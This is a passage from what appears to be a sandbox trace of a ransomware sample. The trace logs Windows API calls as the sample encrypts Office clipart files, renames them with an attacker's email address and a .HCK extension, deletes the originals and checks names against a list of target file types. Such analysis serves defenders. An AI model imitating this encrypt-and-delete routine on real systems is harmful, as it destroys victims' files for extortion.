Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198372.wmf")) returned 0x220 [0170.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198372.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198372.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.509] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.509] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198372.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0170.521] GetLastError () returned 0x0 [0170.521] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x6f9c, lpOverlapped=0x0) returned 1 [0170.524] WriteFile (in: hFile=0x38c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x6fa0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x6fa0, lpOverlapped=0x0) returned 1 [0170.524] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0170.524] WriteFile (in: hFile=0x38c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0170.525] SetEndOfFile (hFile=0x38c) returned 1 [0170.530] CloseHandle (hObject=0x38c) returned 1 [0170.531] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.531] SetEndOfFile (hFile=0x370) returned 1 [0170.533] CloseHandle (hObject=0x370) returned 1 [0170.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.534] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198372.wmf")) returned 1 [0170.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF") returned 68 [0170.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF") returned 68 [0170.535] lstrlenW (lpString=".doc") returned 4 [0170.535] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.535] lstrlenW (lpString=".docx") returned 5 [0170.535] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.535] lstrlenW (lpString=".pdf") returned 4 [0170.535] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.535] lstrlenW (lpString=".xls") returned 4 [0170.535] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.535] lstrlenW (lpString=".xlsx") returned 5 [0170.535] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.535] lstrlenW (lpString=".ppt") returned 4 [0170.535] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF") returned 68 [0170.535] lstrlenW (lpString=".zip") returned 4 [0170.535] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.535] lstrlenW (lpString=".rar") returned 4 [0170.535] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.535] lstrlenW (lpString=".bz2") returned 4 [0170.535] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.535] lstrlenW (lpString=".7z") returned 3 [0170.535] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF") returned 68 [0170.535] lstrlenW (lpString=".dbf") returned 4 [0170.535] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF") returned 68 [0170.535] lstrlenW (lpString=".1cd") returned 4 [0170.535] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF") returned 68 [0170.535] lstrlenW (lpString=".jpg") returned 4 [0170.535] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF") returned 68 [0170.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF") returned 68 [0170.535] lstrlenW (lpString=".doc") returned 4 [0170.535] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.535] lstrlenW (lpString=".docx") returned 5 [0170.535] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.535] lstrlenW (lpString=".pdf") returned 4 [0170.535] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.535] lstrlenW (lpString=".xls") returned 4 [0170.535] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.535] lstrlenW (lpString=".xlsx") returned 5 [0170.535] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.535] lstrlenW (lpString=".ppt") returned 4 [0170.535] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF") returned 68 [0170.535] lstrlenW (lpString=".zip") returned 4 [0170.536] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.536] lstrlenW (lpString=".rar") returned 4 [0170.536] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.536] lstrlenW (lpString=".bz2") returned 4 [0170.536] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.536] lstrlenW (lpString=".7z") returned 3 [0170.536] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF") returned 68 [0170.536] lstrlenW (lpString=".dbf") returned 4 [0170.536] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF") returned 68 [0170.536] lstrlenW (lpString=".1cd") returned 4 [0170.536] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF") returned 68 [0170.536] lstrlenW (lpString=".jpg") returned 4 [0170.536] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.536] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.536] lstrlenW (lpString="J0198712.WMF") returned 12 [0170.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198712.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0170.539] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=57722) returned 1 [0170.539] CloseHandle (hObject=0x38c) returned 1 [0170.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198712.wmf")) returned 0x220 [0170.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198712.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198712.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0170.553] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.553] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198712.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0170.555] GetLastError () returned 0x0 [0170.555] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xe17a, lpOverlapped=0x0) returned 1 [0170.559] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xe180, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xe180, lpOverlapped=0x0) returned 1 [0170.561] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0170.561] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0170.561] SetEndOfFile (hFile=0x308) returned 1 [0170.566] CloseHandle (hObject=0x308) returned 1 [0170.567] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.567] SetEndOfFile (hFile=0x30c) returned 1 [0170.570] CloseHandle (hObject=0x30c) returned 1 [0170.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.570] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198712.wmf")) returned 1 [0170.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF") returned 68 [0170.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF") returned 68 [0170.574] lstrlenW (lpString=".doc") returned 4 [0170.574] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.574] lstrlenW (lpString=".docx") returned 5 [0170.574] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.574] lstrlenW (lpString=".pdf") returned 4 [0170.574] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.574] lstrlenW (lpString=".xls") returned 4 [0170.574] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.574] lstrlenW (lpString=".xlsx") returned 5 [0170.574] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.574] lstrlenW (lpString=".ppt") returned 4 [0170.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF") returned 68 [0170.574] lstrlenW (lpString=".zip") returned 4 [0170.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.574] lstrlenW (lpString=".rar") returned 4 [0170.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.574] lstrlenW (lpString=".bz2") returned 4 [0170.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.574] lstrlenW (lpString=".7z") returned 3 [0170.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF") returned 68 [0170.574] lstrlenW (lpString=".dbf") returned 4 [0170.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF") returned 68 [0170.574] lstrlenW (lpString=".1cd") returned 4 [0170.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF") returned 68 [0170.574] lstrlenW (lpString=".jpg") returned 4 [0170.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF") returned 68 [0170.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF") returned 68 [0170.574] lstrlenW (lpString=".doc") returned 4 [0170.574] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.574] lstrlenW (lpString=".docx") returned 5 [0170.574] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.574] lstrlenW (lpString=".pdf") returned 4 [0170.574] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.574] lstrlenW (lpString=".xls") returned 4 [0170.574] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.574] lstrlenW (lpString=".xlsx") returned 5 [0170.574] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.574] lstrlenW (lpString=".ppt") returned 4 [0170.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF") returned 68 [0170.574] lstrlenW (lpString=".zip") returned 4 [0170.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.574] lstrlenW (lpString=".rar") returned 4 [0170.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.574] lstrlenW (lpString=".bz2") returned 4 [0170.575] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.575] lstrlenW (lpString=".7z") returned 3 [0170.575] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF") returned 68 [0170.575] lstrlenW (lpString=".dbf") returned 4 [0170.575] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF") returned 68 [0170.575] lstrlenW (lpString=".1cd") returned 4 [0170.575] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF") returned 68 [0170.575] lstrlenW (lpString=".jpg") returned 4 [0170.575] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.575] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.575] lstrlenW (lpString="J0199423.WMF") returned 12 [0170.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199423.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0170.577] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=26154) returned 1 [0170.577] CloseHandle (hObject=0x30c) returned 1 [0170.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199423.wmf")) returned 0x220 [0170.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199423.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199423.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.587] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.587] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199423.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0170.593] GetLastError () returned 0x0 [0170.593] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x662a, lpOverlapped=0x0) returned 1 [0170.596] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x6630, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x6630, lpOverlapped=0x0) returned 1 [0170.597] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0170.597] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0170.597] SetEndOfFile (hFile=0x39c) returned 1 [0170.599] CloseHandle (hObject=0x39c) returned 1 [0170.601] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.601] SetEndOfFile (hFile=0x370) returned 1 [0170.606] CloseHandle (hObject=0x370) returned 1 [0170.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.607] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199423.wmf")) returned 1 [0170.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF") returned 68 [0170.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF") returned 68 [0170.609] lstrlenW (lpString=".doc") returned 4 [0170.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.609] lstrlenW (lpString=".docx") returned 5 [0170.609] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0170.609] lstrlenW (lpString=".pdf") returned 4 [0170.609] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.609] lstrlenW (lpString=".xls") returned 4 [0170.609] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.609] lstrlenW (lpString=".xlsx") returned 5 [0170.609] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0170.609] lstrlenW (lpString=".ppt") returned 4 [0170.609] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF") returned 68 [0170.609] lstrlenW (lpString=".zip") returned 4 [0170.609] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.609] lstrlenW (lpString=".rar") returned 4 [0170.609] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.609] lstrlenW (lpString=".bz2") returned 4 [0170.609] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.609] lstrlenW (lpString=".7z") returned 3 [0170.609] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF") returned 68 [0170.609] lstrlenW (lpString=".dbf") returned 4 [0170.609] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF") returned 68 [0170.610] lstrlenW (lpString=".1cd") returned 4 [0170.610] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF") returned 68 [0170.610] lstrlenW (lpString=".jpg") returned 4 [0170.610] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF") returned 68 [0170.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF") returned 68 [0170.610] lstrlenW (lpString=".doc") returned 4 [0170.610] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.610] lstrlenW (lpString=".docx") returned 5 [0170.610] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0170.610] lstrlenW (lpString=".pdf") returned 4 [0170.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.610] lstrlenW (lpString=".xls") returned 4 [0170.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.610] lstrlenW (lpString=".xlsx") returned 5 [0170.610] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0170.610] lstrlenW (lpString=".ppt") returned 4 [0170.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF") returned 68 [0170.610] lstrlenW (lpString=".zip") returned 4 [0170.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.610] lstrlenW (lpString=".rar") returned 4 [0170.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.610] lstrlenW (lpString=".bz2") returned 4 [0170.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.610] lstrlenW (lpString=".7z") returned 3 [0170.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF") returned 68 [0170.610] lstrlenW (lpString=".dbf") returned 4 [0170.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF") returned 68 [0170.610] lstrlenW (lpString=".1cd") returned 4 [0170.610] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF") returned 68 [0170.610] lstrlenW (lpString=".jpg") returned 4 [0170.610] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.610] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.610] lstrlenW (lpString="J0199473.WMF") returned 12 [0170.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199473.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.613] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=10776) returned 1 [0170.613] CloseHandle (hObject=0x370) returned 1 [0170.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199473.wmf")) returned 0x220 [0170.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199473.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.617] CreateFileW 